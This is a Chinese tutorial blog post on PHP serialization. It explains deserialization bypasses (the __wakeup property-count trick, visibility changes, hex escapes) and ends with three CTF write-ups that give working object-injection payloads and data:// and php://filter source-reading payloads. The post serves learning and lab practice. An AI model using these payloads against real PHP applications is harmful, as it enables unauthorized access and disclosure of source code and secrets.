目录
一、什么是序列化和反序列化?
二、相关函数
serialize()函数:
unserialize()函数:反序列化
三、PHP序列化格式
四、序列化与反序列化的作用
五、各种数据类型序列化后的效果
六、魔术方法
七、反序列化的一些绕过
八、相关例题
一、[SWPUCTF 2021 新生赛]ez_unserialize
二、[SWPUCTF 2021 新生赛]no_wakeup
三、[ZJCTF 2019]NiZhuanSiWei
编辑
一、什么是序列化和反序列化?
1.序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。 简单来说就是将内存变成文件,在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
2.反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。
二、相关函数
serialize()函数:
(1)serialize() 返回字符串,此字符串包含了表示 value
的字节流,可以存储于任何地方。例如:serialize ( mixed $value ) : string
(2)“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”
<?php
class User
{
public $age = 0;//在类内部定义了两个公共属性,$age 和 $name,并分别初始化为 0 和空字符串。
public $name = '';
public function PrintData()//定义了一个公共方法 PrintData
{
echo 'User '.$this->name.'is'.$this->age.'years old. <br />';//在这个方法中,使用 echo 输出了一条字符串,其中 $this->name 和 $this->age 分别表示对象的 name 和 age 属性。$this 是一个特殊的关键字,表示当前对象。
}
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';//分别为 $user 对象的 age 和 name 属性赋值。
//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);
?>
输出结果:
可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
常用访问权限的修饰符:
- public(公有):公有的类成员可以在任何地方被访问。
- protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。如果变量前是protected,则是\x00*\x00类名的形式
- private(私有):私有的类成员则只能被其定义所在的类访问。变量是private的所以序列号的时候会在两侧加入空字节,而且是private属性的变量都会在变量前面加上加上类名,则是\x00类名\x00的形式。
unserialize()函数:反序列化
对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。例如: 1 $s = file_get_contents(‘./目标文本文件’); //取得文本文件的内容(之前序列化过的字符串) 2 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
三、PHP序列化格式
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
四、序列化与反序列化的作用
1、为了有效地存储或传递数据,同时不丢失其类型和结构,经常需要利用序列化和反序列化函数对数据进行处理。
2、反序列化函数返回字符串,此字符串包含了表示值的字节流,可以存储于任何地方
3、反序列化函数对单一的已序列化的变量进行操作,将其转换成员来的值
3、这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性
PHP语言中常用的序列化和反序列化函数有serialize、unserialize、json_encode、json_decode
五、各种数据类型序列化后的效果
参考资料:PHP序列化的概念_php 序列化-CSDN博客
(1) NULL的序列化
(2)Boolean型数据的序列化
(3)Integer型数据的序列化
(4)Double型数据的序列化
(5)String型数据的序列化
(6)数组的序列化
(7)对象的序列化
六、魔术方法
序列化的时候调用默认的方法:
七、反序列化的一些绕过
1.protected和private绕过
绕过的方法:
①:php7.1+反序列化对类属性不敏感,将protected改成public
②:手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作
2.__wakeup绕过(比较常见)
原理:
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行
示例:O:4:"Dino":1:{s:1:"a";s:4:"misc";}
改为O:4:"Dino":2:{s:1:"a";s:4:"misc";}
3.利用16进制绕过字符过滤
示例:序列化结果:O:4:"Dino":1:{s:3:"way";s:3:"web";}
中含有字符web,但将s改成S后,O:4:"Dino":1:{S:3:"\\77ay";s:3:"web";}
利用十六进制绕过了字符的过滤检测
八、相关例题
参考资料:PHP反序列化漏洞(最全面最详细有例题)_反序列化例题-CSDN博客
一、[SWPUCTF 2021 新生赛]ez_unserialize
1.查看源代码,发现disallow,disallow就是爬虫不能搜索的所以我们去看看robots.txt
2.访问robots.txt文件之后,发现php文件
3.访问这个php文件,很明显是php反序列化
php代码可翻译为:
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{ //定义了一个名为 wllm 的类
public $admin;
public $passwd; //这个类有两个公共属性:$admin 和 $passwd。
public function __construct(){
$this->admin ="user";
$this->passwd = "123456"; //在类的构造函数 __construct() 中,$admin 被初始化为
"user",而 $passwd 被初始化为 "123456"。
}
public function __destruct(){ //该类还有一个析构函数 __destruct(),当对象不再被引
用时,析构函数会被自动调用。
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag; //如果 $admin 的值为 "admin" 且 $passwd 的值为 "ctf",则包含并执行
flag.php 文件,并输出 $flag 变量的值。
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!"; //不满足上述条件,则输出 $admin、$passwd 的值,并输出
"Just a bit more!"。
}
}
}
$p = $_GET['p']; //这行代码从 URL 的 GET 参数中获取名为 'p' 的值,并将其存储在变量 $p 中。
unserialize($p);
?>
4.根据代码构造payload:url+/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
二、[SWPUCTF 2021 新生赛]no_wakeup
1.进入页面之后点三个?,发现php文件,很明显是php反序列化
2.接下来就是翻译php代码
php代码可翻译成:
<?php
header("Content-type:text/html;charset=utf-8");//这行代码设置了 HTTP 响应头,指定内容类型为 HTML,并设置字符集为 UTF-8。
error_reporting(0);
show_source("class.php"); //这行代码会显示 class.php 文件的源代码
class HaHaHa{ //定义了一个名为 HaHaHa 的类,该类有两个公共属性 $admin 和 $passwd,以及三个魔术方法:__construct(), __wakeup(), 和 __destruct()。
public $admin;
public $passwd;
public function __construct(){ //构造函数,当创建类的实例时自动调用
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){ //当对象被反序列化时自动调用。这里,它将 `$passwd` 的值
通过 SHA1 算法进行哈希。
$this->passwd = sha1($this->passwd);
}
public function __destruct(){ //当对象被销毁时自动调用
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up"; //这里,它检查 `$admin` 和 `$passwd` 的值。如果
`$admin` 是 "admin" 且 `$passwd` 是 "wllm",则包含并执
行 `flag.php` 文件,并输出 `$flag` 的值;否则,输出
`$passwd` 的值和 "No wake up"
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
3.根据php代码的翻译,可构造payload:url+/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
注意:这一题与上一题的区别就在于这题需要用到__wakeup绕过
三、[ZJCTF 2019]NiZhuanSiWei
1.进入页面,发现是php代码
代码翻译为:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//代码检查 $text 是否被设置(即 URL 中是否包含 text 参数),并且检查 $text 指向的文件内容是否等于字符串 "welcome to the zjctf",如果上述条件满足,代码将再次读取 $text 指向的文件内容,并将其作为 HTML 标题 <h1> 显示在页面上
if(preg_match("/flag/",$file)){ //使用正则表达式检查 $file 是否包含 "flag" 子串。如果包含,代码将输出 "Not now!" 并终止脚本执行。
echo "Not now!";
exit();
}else{
include($file); //useless.php //如果 $file 不包含 "flag",代码将包含(即执行)该文件中定义的 PHP 代码。这里假设文件名是 "useless.php"
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
2.根据 file_get_contents($text,'r')这个函数把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。我们不知道后台文件,所以这里我们运用data伪协议
来进行绕过。
所以构造payload:url+/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
3.根据正则表达式,发现它过滤了flag,用php://filter协议来读取useless.php,构造payload:url+/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
4.解码这个base编码,得到php反序列化的代码
5.根据代码,构造O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},根据以上,可得到最后的payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
6. 查看源代码,得到flag